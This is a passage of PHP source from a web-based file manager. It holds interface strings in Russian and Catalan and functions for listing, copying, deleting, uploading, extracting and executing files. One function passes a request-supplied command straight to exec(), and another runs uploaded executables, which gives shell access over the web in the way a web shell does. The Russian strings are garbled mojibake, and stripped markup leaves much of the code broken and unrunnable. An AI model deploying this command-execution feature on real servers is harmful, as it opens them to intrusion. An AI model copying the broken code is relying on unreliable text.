$ru['ConfSaved']='ÐšÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ñохранена'; $ru['PassSaved']='Пароль Ñохранен'; $ru['FileDirExists']='Файл или каталог уже ÑущеÑтвует'; $ru['NoPhpinfo']='Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ PHPInfo отключена'; $ru['NoReturn']='Ðет возврата'; $ru['FileSent']='Файл отправлен'; $ru['SpaceLimReached']='ДоÑтигнут предел ПроÑтранÑтва'; $ru['InvExt']='Ðеверное раÑширение'; $ru['FileNoOverw']='Файл не может быть перезапиÑан '; $ru['FileOverw']='Файл перезапиÑываетÑÑ'; $ru['FileIgnored']='Файл игнорируетÑÑ'; $ru['ChkVer']='Проверить обновление'; $ru['ChkVerAvailable']=' ДоÑтупна Ð½Ð¾Ð²Ð°Ñ Ð²ÐµÑ€ÑиÑ, нажмите здеÑÑŒ, чтобы начать загрузку! '; $ru['ChkVerNotAvailable']='Ðет новой верÑии. :('; $ru['ChkVerError']='Ошибка подключениÑ. '; $ru['Website']='Сайт'; $ru['SendingForm']='Отправка файлов, пожалуйÑта, подождите '; $ru['NoFileSel']='Ðет выбранных файлов'; $ru['SelAll']='Выделить вÑе'; $ru['SelNone']='Отмена'; $ru['SelInverse']='Обратить'; $ru['Selected_s']='Выбран'; $ru['Total']='Ð’Ñего'; $ru['Partition']='Раздел'; $ru['RenderTime']='Скрипт выполнен за'; $ru['Seconds']='Секунд'; $ru['ErrorReport']='Отчет об ошибках'; // Catalan - by Pere Borràs AKA @Norl $cat['Version'] = 'Versió'; $cat['DocRoot'] = 'Arrel del programa'; $cat['FLRoot'] = 'Arrel de l`administrador d`arxius'; $cat['Name'] = 'Nom'; $cat['And'] = 'i'; $cat['Enter'] = 'Entrar'; $cat['Send'] = 'Enviar'; $cat['Refresh'] = 'Refrescar'; $cat['SaveConfig'] = 'Desar configuracions'; $cat['SavePass'] = 'Desar clau'; $cat['SaveFile'] = 'Desar Arxiu'; $cat['Save'] = 'Desar'; $cat['Leave'] = 'Sortir'; $cat['Edit'] = 'Editar'; $cat['View'] = 'Mirar'; $cat['Config'] = 'Config.'; $cat['Ren'] = 'Canviar nom'; $cat['Rem'] = 'Esborrar'; $cat['Compress'] = 'Comprimir'; $cat['Decompress'] = 'Descomprimir'; $cat['ResolveIDs'] = 'Resoldre IDs'; $cat['Move'] = 'Moure'; $cat['Copy'] = 'Copiar'; $cat['ServerInfo'] = 'Info del Server'; $cat['CreateDir'] = 'Crear Directori'; $cat['CreateArq'] = 'Crear Arxiu'; $cat['ExecCmd'] = 'Executar Comandament'; $cat['Upload'] = 'Pujar'; $cat['UploadEnd'] = 'Pujat amb èxit'; $cat['Perm'] = 'Perm'; $cat['Perms'] = 'Permisos'; $cat['Owner'] = 'Propietari'; $cat['Group'] = 'Grup'; $cat['Other'] = 'Altre'; $cat['Size'] = 'Tamany'; $cat['Date'] = 'Data'; $cat['Type'] = 'Tipus'; $cat['Free'] = 'lliure'; $cat['Shell'] = 'Executar'; $cat['Read'] = 'Llegir'; $cat['Write'] = 'Escriure'; $cat['Exec'] = 'Executar'; $cat['Apply'] = 'Aplicar'; $cat['StickyBit'] = 'Sticky Bit'; $cat['Pass'] = 'Clau'; $cat['Lang'] = 'Llenguatje'; $cat['File'] = 'Arxius'; $cat['File_s'] = 'arxiu(s)'; $cat['Dir_s'] = 'directori(s)'; $cat['To'] = 'a'; $cat['Destination'] = 'Destí'; $cat['Configurations'] = 'Configuracions'; $cat['JSError'] = 'Error de JavaScript'; $cat['NoSel'] = 'No hi ha items seleccionats'; $cat['SelDir'] = 'Seleccioneu el directori de destí a l`arbre de la dreta'; $cat['TypeDir'] = 'Escrigui el nom del directori'; $cat['TypeArq'] = 'Escrigui el nom de l`arxiu'; $cat['TypeCmd'] = 'Escrigui el comandament'; $cat['TypeArqComp'] = 'Escrigui el nombre del directorio.\\nL`extensió definirà el tipus de compressió.\\nEx:\\nnom.zip\\nnom.tar\\nnom.bzip\\nnom.gzip'; $cat['RemSel'] = 'ESBORRAR items seleccionats'; $cat['NoDestDir'] = 'No s`ha seleccionat el directori de destí'; $cat['DestEqOrig'] = 'L`origen i el destí són iguals'; $cat['InvalidDest'] = 'El destí del directori és invàlid'; $cat['NoNewPerm'] = 'Els permisos no s`han pogut establir'; $cat['CopyTo'] = 'COPIAR a'; $cat['MoveTo'] = 'MOURE a'; $cat['AlterPermTo'] = 'CAMBIAR PERMISOS a'; $cat['ConfExec'] = 'Confirmar EXECUCIÓ'; $cat['ConfRem'] = 'Confirmar ESBORRAT'; $cat['EmptyDir'] = 'Directori buit'; $cat['IOError'] = 'Error I/O'; $cat['FileMan'] = 'PHP File Manager'; $cat['TypePass'] = 'Escrigui la clau'; $cat['InvPass'] = 'Clau invàlida'; $cat['ReadDenied'] = 'Accés de lectura denegat'; $cat['FileNotFound'] = 'Arxiu no trobat'; $cat['AutoClose'] = 'Tancar al completar'; $cat['OutDocRoot'] = 'Arxiu abans de DOCUMENT_ROOT'; $cat['NoCmd'] = 'Error: No s`ha escrit cap comandament'; $cat['ConfTrySave'] = 'Arxiu sense permisos d`escriptura.\\nIntenteu desar a un altre lloc'; $cat['ConfSaved'] = 'Configuració Desada'; $cat['PassSaved'] = 'Clau desada'; $cat['FileDirExists'] = 'Arxiu o directori ja existent'; $cat['NoPhpinfo'] = 'Funció phpinfo() no habilitada'; $cat['NoReturn'] = 'sense retorn'; $cat['FileSent'] = 'Arxiu enviat'; $cat['SpaceLimReached'] = 'Límit d`espaci al disc assolit'; $cat['InvExt'] = 'Extensió no vàlida'; $cat['FileNoOverw'] = 'L`arxiu no ha pogut ser sobreescrit'; $cat['FileOverw'] = 'Arxiu sobreescrit'; $cat['FileIgnored'] = 'Arxiu ignorat'; $cat['ChkVer'] = 'Revisar les actualitzacions'; $cat['ChkVerAvailable'] = 'Nova versió, feu clic aquí per descarregar'; $cat['ChkVerNotAvailable'] = 'La vostra versió és la més recent.'; $cat['ChkVerError'] = 'Error de connexió.'; $cat['Website'] = 'Lloc Web'; $cat['SendingForm'] = 'Enviant arxius, esperi'; $cat['NoFileSel'] = 'Cap arxiu seleccionat'; $cat['SelAll'] = 'Tots'; $cat['SelNone'] = 'Cap'; $cat['SelInverse'] = 'Invers'; $cat['Selected_s'] = 'seleccionat'; $cat['Total'] = 'total'; $cat['Partition'] = 'Partició'; $cat['RenderTime'] = 'Generat en'; $cat['Seconds'] = 'seg'; $cat['ErrorReport'] = 'Informe d`error'; $lang_ = $$lang; if (isset($lang_[$tag])) return html_encode($lang_[$tag]); //else return "[$tag]"; // So we can know what is missing return $en[$tag]; } // +-------------------------------------------------- // | File System // +-------------------------------------------------- function total_size($arg) { $total = 0; if (file_exists($arg)) { if (is_dir($arg)) { $handle = opendir($arg); while($aux = readdir($handle)) { if ($aux != "." && $aux != "..") $total += total_size($arg."/".$aux); } @closedir($handle); } else $total = filesize($arg); } return $total; } function total_delete($arg) { if (file_exists($arg)) { @chmod($arg,0755); if (is_dir($arg)) { $handle = opendir($arg); while($aux = readdir($handle)) { if ($aux != "." && $aux != "..") total_delete($arg."/".$aux); } @closedir($handle); rmdir($arg); } else unlink($arg); } } function total_copy($orig,$dest) { $ok = true; if (file_exists($orig)) { if (is_dir($orig)) { mkdir($dest,0755); $handle = opendir($orig); while(($aux = readdir($handle))&&($ok)) { if ($aux != "." && $aux != "..") $ok = total_copy($orig."/".$aux,$dest."/".$aux); } @closedir($handle); } else $ok = copy((string)$orig,(string)$dest); } return $ok; } function total_move($orig,$dest) { // Just why doesn't it has a MOVE alias?! return rename((string)$orig,(string)$dest); } function download(){ global $current_dir,$filename; $file = $current_dir.$filename; if(file_exists($file)){ $is_denied = false; foreach($download_ext_filter as $key=>$ext){ if (eregi($ext,$filename)){ $is_denied = true; break; } } if (!$is_denied){ $size = filesize($file); header("Content-Type: application/save"); header("Content-Length: $size"); header("Content-Disposition: attachment; filename=\"$filename\""); header("Content-Transfer-Encoding: binary"); if ($fh = fopen("$file", "rb")){ fpassthru($fh); fclose($fh); } else alert(et('ReadDenied').": ".$file); } else alert(et('ReadDenied').": ".$file); } else alert(et('FileNotFound').": ".$file); } function execute_cmd(){ global $cmd; header("Content-type: text/plain"); if (strlen($cmd)){ echo "# ".$cmd."\n"; exec($cmd,$mat); if (count($mat)) echo trim(implode("\n",$mat)); else echo "exec(\"$cmd\") ".et('NoReturn')."..."; } else echo et('NoCmd'); } function execute_file(){ global $current_dir,$filename; header("Content-type: text/plain"); $file = $current_dir.$filename; if(file_exists($file)){ echo "# ".$file."\n"; exec($file,$mat); if (count($mat)) echo trim(implode("\n",$mat)); } else alert(et('FileNotFound').": ".$file); } function save_upload($temp_file,$filename,$dir_dest) { global $upload_ext_filter; $filename = remove_special_chars($filename); $file = $dir_dest.$filename; $filesize = filesize($temp_file); $is_denied = false; foreach($upload_ext_filter as $key=>$ext){ if (eregi($ext,$filename)){ $is_denied = true; break; } } if (!$is_denied){ if (!check_limit($filesize)){ if (file_exists($file)){ if (unlink($file)){ if (copy($temp_file,$file)){ @chmod($file,0755); $out = 6; } else $out = 2; } else $out = 5; } else { if (copy($temp_file,$file)){ @chmod($file,0755); $out = 1; } else $out = 2; } } else $out = 3; } else $out = 4; return $out; } function zip_extract(){ global $cmd_arg,$current_dir,$islinux; $zip = zip_open($current_dir.$cmd_arg); if ($zip) { while ($zip_entry = zip_read($zip)) { if (zip_entry_filesize($zip_entry)) { $complete_path = $path.dirname(zip_entry_name($zip_entry)); $complete_name = $path.zip_entry_name($zip_entry); if(!file_exists($complete_path)) { $tmp = ''; foreach(explode('/',$complete_path) AS $k) { $tmp .= $k.'/'; if(!file_exists($tmp)) { @mkdir($current_dir.$tmp, 0755); } } } if (zip_entry_open($zip, $zip_entry, "r")) { if ($fd = fopen($current_dir.$complete_name, 'w')){ fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry))); fclose($fd); } else echo "fopen($current_dir.$complete_name) error
"; zip_entry_close($zip_entry); } else echo "zip_entry_open($zip,$zip_entry) error
"; } } zip_close($zip); } } // +-------------------------------------------------- // | Data Formating // +-------------------------------------------------- function html_encode($str){ global $charSet; $str = preg_replace(array('/&/', '//', '/"/'), array('&', '<', '>', '"'), $str); // Bypass PHP to allow any charset!! $str = htmlentities($str, ENT_QUOTES, $charSet, false); return $str; } function rep($x,$y){ if ($x) { $aux = ""; for ($a=1;$a<=$x;$a++) $aux .= $y; return $aux; } else return ""; } function str_zero($arg1,$arg2){ if (strstr($arg1,"-") == false){ $aux = intval($arg2) - strlen($arg1); if ($aux) return rep($aux,"0").$arg1; else return $arg1; } else { return "[$arg1]"; } } function replace_double($sub,$str){ $out=str_replace($sub.$sub,$sub,$str); while ( strlen($out) != strlen($str) ){ $str=$out; $out=str_replace($sub.$sub,$sub,$str); } return $out; } function remove_special_chars($str){ $str = trim($str); $str = strtr($str,"¥µÀÃÂÃÄÅÆÇÈÉÊËÌÃÃŽÃÃÑÒÓÔÕÖØÙÚÛÜÃßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ!@#%&*()[]{}+=?", "YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________"); $str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str)))); return $str; } function format_path($str){ global $islinux; $str = trim($str); $str = str_replace("..","",str_replace("\\","/",str_replace("\$","",$str))); $done = false; while (!$done) { $str2 = str_replace("//","/",$str); if (strlen($str) == strlen($str2)) $done = true; else $str = $str2; } $tam = strlen($str); if ($tam){ $last_char = $tam - 1; if ($str[$last_char] != "/") $str .= "/"; if (!$islinux) $str = ucfirst($str); } return $str; } function array_csort() { $args = func_get_args(); $marray = array_shift($args); $msortline = "return(array_multisort("; foreach ($args as $arg) { $i++; if (is_string($arg)) { foreach ($marray as $row) { $sortarr[$i][] = $row[$arg]; } } else { $sortarr[$i] = $arg; } $msortline .= "\$sortarr[".$i."],"; } $msortline .= "\$marray));"; eval($msortline); return $marray; } function show_perms( $P ) { $sP = ""; if($P & 0x1000) $sP .= 'p'; // FIFO pipe elseif($P & 0x2000) $sP .= 'c'; // Character special elseif($P & 0x4000) $sP .= 'd'; // Directory elseif($P & 0x6000) $sP .= 'b'; // Block special elseif($P & 0x8000) $sP .= '−'; // Regular elseif($P & 0xA000) $sP .= 'l'; // Symbolic Link elseif($P & 0xC000) $sP .= 's'; // Socket else $sP .= 'u'; // UNKNOWN $sP .= ""; // owner - group - others $sP .= (($P & 0x0100) ? 'r' : '−') . (($P & 0x0080) ? 'w' : '−') . (($P & 0x0040) ? (($P & 0x0800) ? 's' : 'x' ) : (($P & 0x0800) ? 'S' : '−')); $sP .= (($P & 0x0020) ? 'r' : '−') . (($P & 0x0010) ? 'w' : '−') . (($P & 0x0008) ? (($P & 0x0400) ? 's' : 'x' ) : (($P & 0x0400) ? 'S' : '−')); $sP .= (($P & 0x0004) ? 'r' : '−') . (($P & 0x0002) ? 'w' : '−') . (($P & 0x0001) ? (($P & 0x0200) ? 't' : 'x' ) : (($P & 0x0200) ? 'T' : '−')); return $sP; } function format_size($arg) { if ($arg>0){ $j = 0; $ext = array(" bytes"," Kb"," Mb"," Gb"," Tb"); while ($arg >= pow(1024,$j)) ++$j; return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1]; } else return "0 bytes"; } function get_size($file) { return format_size(filesize($file)); } function check_limit($new_filesize=0) { global $fm_current_root; global $quota_mb; if($quota_mb){ $total = total_size($fm_current_root); if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true; } return false; } function get_user($arg) { global $mat_passwd; $aux = "x:".trim($arg).":"; for($x=0;$x ...:::: ".et('FileMan')." $header "; } function reloadframe($ref,$frame_number,$Plus=""){ global $current_dir,$path_info; echo " "; } function alert($arg){ echo " "; } function tree($dir_before,$dir_current,$indice){ global $fm_current_root, $current_dir, $islinux; global $expanded_dir_list; $indice++; $num_dir = 0; $dir_name = str_replace($dir_before,"",$dir_current); $dir_before = str_replace("//","/",$dir_before); $dir_current = str_replace("//","/",$dir_current); $is_denied = false; if ($islinux) { $denied_list = "/proc#/dev"; $mat = explode("#",$denied_list); foreach($mat as $key => $val){ if ($dir_current == $val){ $is_denied = true; break; } } unset($mat); } if (!$is_denied){ if ($handle = @opendir($dir_current)){ // Permitido while ($file = readdir($handle)){ if ($file != "." && $file != ".." && is_dir("$dir_current/$file")) $mat_dir[] = $file; } @closedir($handle); if (count($mat_dir)){ sort($mat_dir,SORT_STRING); // with Sub-dir if ($indice != 0){ for ($aux=1;$aux<$indice;$aux++) echo "    "; } if ($dir_before != $dir_current){ if (strstr($expanded_dir_list,":$dir_current/$dir_name")) $op_str = "[–]"; else $op_str = "[+]"; echo "$op_str $dir_name
\n"; } else { echo "$fm_current_root
\n"; } for ($x=0;$x[  ]"; echo " $dir_name
\n"; } else { echo " $fm_current_root
\n"; } } } else { // denied if ($dir_before != $dir_current){ for ($aux=1;$aux<$indice;$aux++) echo "    "; echo "[  ]"; echo " $dir_name
\n"; } else { echo " $fm_current_root
\n"; } } } else { // denied if ($dir_before != $dir_current){ for ($aux=1;$aux<$indice;$aux++) echo "    "; echo "[  ]"; echo " $dir_name
\n"; } else { echo " $fm_current_root
\n"; } } } function show_tree(){ global $fm_current_root,$path_info,$setflag,$islinux,$cookie_cache_time; html_header(" "); echo "\n"; echo " "; echo "\n"; echo ""; echo ""; echo " "; echo "
"; if (!$islinux){ echo " "; } echo "
"; clearstatcache(); tree($fm_current_root,$fm_current_root,-1,0); echo "
\n"; echo "\n"; } function getmicrotime(){ list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } function dir_list_form() { global $fm_current_root,$current_dir,$quota_mb,$resolveIDs,$order_dir_list_by,$islinux,$cmd_name,$ip,$path_info,$fm_color; $ti = getmicrotime(); clearstatcache(); $out = "\n"; if ($opdir = @opendir($current_dir)) { $has_files = false; $entry_count = 0; $total_size = 0; $entry_list = array(); while ($file = readdir($opdir)) { if (($file != ".")&&($file != "..")){ $entry_list[$entry_count]["size"] = 0; $entry_list[$entry_count]["sizet"] = 0; $entry_list[$entry_count]["type"] = "none"; if (is_file($current_dir.$file)){ $ext = lowercase(strrchr($file,".")); $entry_list[$entry_count]["type"] = "file"; // Função filetype() returns only "file"... $entry_list[$entry_count]["size"] = filesize($current_dir.$file); $entry_list[$entry_count]["sizet"] = format_size($entry_list[$entry_count]["size"]); if (strstr($ext,".")){ $entry_list[$entry_count]["ext"] = $ext; $entry_list[$entry_count]["extt"] = $ext; } else { $entry_list[$entry_count]["ext"] = ""; $entry_list[$entry_count]["extt"] = " "; } $has_files = true; } elseif (is_dir($current_dir.$file)) { // Recursive directory size disabled // $entry_list[$entry_count]["size"] = total_size($current_dir.$file); $entry_list[$entry_count]["size"] = 0; $entry_list[$entry_count]["sizet"] = " "; $entry_list[$entry_count]["type"] = "dir"; } $entry_list[$entry_count]["name"] = $file; $entry_list[$entry_count]["date"] = date("Ymd", filemtime($current_dir.$file)); $entry_list[$entry_count]["time"] = date("his", filemtime($current_dir.$file)); $entry_list[$entry_count]["datet"] = date("d/m/y h:i", filemtime($current_dir.$file)); if ($islinux && $resolveIDs){ $entry_list[$entry_count]["p"] = show_perms(fileperms($current_dir.$file)); $entry_list[$entry_count]["u"] = get_user(fileowner($current_dir.$file)); $entry_list[$entry_count]["g"] = get_group(filegroup($current_dir.$file)); } else { $entry_list[$entry_count]["p"] = base_convert(fileperms($current_dir.$file),10,8); $entry_list[$entry_count]["p"] = substr($entry_list[$entry_count]["p"],strlen($entry_list[$entry_count]["p"])-3); $entry_list[$entry_count]["u"] = fileowner($current_dir.$file); $entry_list[$entry_count]["g"] = filegroup($current_dir.$file); } $total_size += $entry_list[$entry_count]["size"]; $entry_count++; } } @closedir($opdir); if($entry_count){ $or1="1A"; $or2="2D"; $or3="3A"; $or4="4A"; $or5="5A"; $or6="6D"; $or7="7D"; switch($order_dir_list_by){ case "1A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or1="1D"; break; case "1D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_DESC); $or1="1A"; break; case "2A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2D"; break; case "2D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2A"; break; case "3A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC); $or3="3D"; break; case "3D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC); $or3="3A"; break; case "4A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC); $or4="4D"; break; case "4D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_DESC,"u",SORT_STRING,SORT_DESC); $or4="4A"; break; case "5A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_ASC); $or5="5D"; break; case "5D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_DESC); $or5="5A"; break; case "6A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_ASC,"time",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or6="6D"; break; case "6D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_DESC,"time",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or6="6A"; break; case "7A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or7="7D"; break; case "7D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or7="7A"; break; } } $out .= " "; $out .= " "; $out .= " "; $file_count = 0; $dir_count = 0; $dir_out = array(); $file_out = array(); $max_opt = 0; foreach ($entry_list as $ind=>$dir_entry) { $file = $dir_entry["name"]; if ($dir_entry["type"]=="dir"){ $dir_out[$dir_count] = array(); $dir_out[$dir_count][] = " "; $dir_out[$dir_count][] = ""; if ($islinux) { $dir_out[$dir_count][] = ""; $dir_out[$dir_count][] = ""; } $dir_out[$dir_count][] = ""; $dir_out[$dir_count][] = ""; if ($has_files) $dir_out[$dir_count][] = ""; // Opções de diretório if ( is_writable($current_dir.$file) ) $dir_out[$dir_count][] = " "; $file_out[$file_count][] = ""; if ($islinux) { $file_out[$file_count][] = ""; $file_out[$file_count][] = ""; } $file_out[$file_count][] = ""; $file_out[$file_count][] = ""; $file_out[$file_count][] = ""; // Opções de arquivo if ( is_writable($current_dir.$file) ) $file_out[$file_count][] = " "; if ( is_writable($current_dir.$file) ) $file_out[$file_count][] = " "; if ( is_readable($current_dir.$file) && (strpos(".wav#.mp3#.mid#.avi#.mov#.mpeg#.mpg#.rm#.iso#.bin#.img#.dll#.psd#.fla#.swf#.class#.ppt#.tif#.tiff#.pcx#.jpg#.gif#.png#.wmf#.eps#.bmp#.msi#.exe#.com#.rar#.tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) === false)) $file_out[$file_count][] = " "; if ( is_readable($current_dir.$file) && (strpos(".txt#.sys#.bat#.ini#.conf#.swf#.php#.php3#.asp#.html#.htm#.jpg#.gif#.png#.bmp#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = " "; if ( is_readable($current_dir.$file) && strlen($dir_entry["ext"]) && (strpos(".tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = " "; if ( is_readable($current_dir.$file) && strlen($dir_entry["ext"]) && (strpos(".exe#.com#.sh#.bat#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = " "; if (count($file_out[$file_count])>$max_opt){ $max_opt = count($file_out[$file_count]); } $file_count++; } } if ($dir_count){ $out .= " "; if ($islinux) $out .= " "; $out .= " "; if ($file_count) $out .= " "; $out .= " "; } foreach($dir_out as $k=>$v){ while (count($dir_out[$k])<$max_opt) { $dir_out[$k][] = ""; } $out .= implode($dir_out[$k]); $out .= ""; } if ($file_count){ $out .= " "; if ($islinux) $out .= " "; $out .= " "; } foreach($file_out as $k=>$v){ while (count($file_out[$k])<$max_opt) { $file_out[$k][] = ""; } $out .= implode($file_out[$k]); $out .= ""; } $out .= " "; $out .= " "; $out .= " "; if ($quota_mb) { $out .= " "; } else { $out .= " "; } $tf = getmicrotime(); $tt = ($tf - $ti); $out .= " "; $out .= " "; } else { $out .= " "; } } else $out .= "
$ip "; $uplink = ""; if ($current_dir != $fm_current_root || 1){ $mat = explode("/",$current_dir); $dir_before = ""; for($x=0;$x<(count($mat)-2);$x++) $dir_before .= $mat[$x]."/"; $uplink = "<< "; } if($entry_count){ $out .= "
$uplink $current_dir
"; if ($islinux) $out .= " "; $out .= " "; $out .= "
".et('SelDir')."...
$file".$dir_entry["p"]."".$dir_entry["u"]."".$dir_entry["g"]."".$dir_entry["sizet"]."".$dir_entry["datet"]." ".et('Rem').""; if ( is_writable($current_dir.$file) ) $dir_out[$dir_count][] = " ".et('Ren').""; if (count($dir_out[$dir_count])>$max_opt){ $max_opt = count($dir_out[$dir_count]); } $dir_count++; } else { $file_out[$file_count] = array(); $file_out[$file_count][] = "
$file".$dir_entry["p"]."".$dir_entry["u"]."".$dir_entry["g"]."".$dir_entry["sizet"]."".$dir_entry["datet"]."".$dir_entry["extt"]."".et('Rem').""; else $file_out[$file_count][] = " ".et('Ren').""; else $file_out[$file_count][] = " ".et('Edit').""; else $file_out[$file_count][] = " ".et('View').""; else $file_out[$file_count][] = " ".et('Decompress').""; else $file_out[$file_count][] = " ".et('Exec').""; else $file_out[$file_count][] = " 
".et('Name')." ".et('Perm')."".et('Owner')." ".et('Group')."".et('Size')." ".et('Date')."".et('Type')." 
 
".et('Name')." ".et('Perm')."".et('Owner')." ".et('Group')."".et('Size')." ".et('Date')." ".et('Type')."  
 
"; if ($islinux) $out .= " "; $out .= " "; $out .= "
$dir_count ".et('Dir_s')." ".et('And')." $file_count ".et('File_s')." = ".format_size($total_size)."
".et('Partition').": ".format_size(($quota_mb*1024*1024))." ".et('Total')." - ".format_size(($quota_mb*1024*1024)-total_size($fm_current_root))." ".et('Free')."
".et('Partition').": ".format_size(disk_total_space($current_dir))." ".et('Total')." - ".format_size(disk_free_space($current_dir))." ".et('Free')."
".et('RenderTime').": ".substr($tt,0,strrpos($tt,".")+5)." ".et('Seconds')."
$uplink$current_dir
".et('EmptyDir').".
".et('IOError').".
$current_dir
"; $out .= "
"; echo $out; } function upload_form(){ global $_FILES,$current_dir,$dir_dest,$fechar,$quota_mb,$path_info; $num_uploads = 5; html_header(); echo ""; if (count($_FILES)==0){ echo "
".et('Upload')."
".et('Destination').":$current_dir"; for ($x=0;$x<$num_uploads;$x++){ echo "
".et('File').":"; $test_js .= "(document.upload_form.file$x.value.length>0)||"; } echo "
".et('AutoClose')."
"; } else { $out = "".et('UploadEnd')." ".et('Destination').": $dir_dest"; for ($x=0;$x<$num_uploads;$x++){ $temp_file = $_FILES["file".$x]["tmp_name"]; $filename = $_FILES["file".$x]["name"]; if (strlen($filename)) $resul = save_upload($temp_file,$filename,$dir_dest); else $resul = 7; switch($resul){ case 1: $out .= "".str_zero($x+1,3).". ".et('FileSent').":".$filename."\n"; break; case 2: $out .= "".et('IOError')."\n"; $x = $upload_num; break; case 3: $out .= "".et('SpaceLimReached')." ($quota_mb Mb)\n"; $x = $upload_num; break; case 4: $out .= "".str_zero($x+1,3).". ".et('InvExt').":".$filename."\n"; break; case 5: $out .= "".str_zero($x+1,3).". ".et('FileNoOverw')."".$filename."\n"; break; case 6: $out .= "".str_zero($x+1,3).". ".et('FileOverw').":".$filename."\n"; break; case 7: $out .= "".str_zero($x+1,3).". ".et('FileIgnored')."\n"; } } if ($fechar) { echo " "; } else { echo " $out
"; } } echo "\n"; } function chmod_form(){ html_header(" "); echo "
".et('Perms')."
".et('Owner')." ".et('Group')." ".et('Other')."
".et('Read')."
".et('Write')."
".et('Exec')."
".et('StickyBit')."
\n"; } function get_mime_type($ext = ''){ $mimes = array( 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'doc' => 'application/msword', 'bin' => 'application/macbinary', 'dms' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'class' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'so' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'pptx' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php3' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'js' => 'application/x-javascript', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xhtml' => 'application/xhtml+xml', 'xht' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mpga' => 'audio/mpeg', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'rv' => 'video/vnd.rn-realvideo', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'txt' => 'text/plain', 'text' => 'text/plain', 'log' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'qt' => 'video/quicktime', 'mov' => 'video/quicktime', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie', 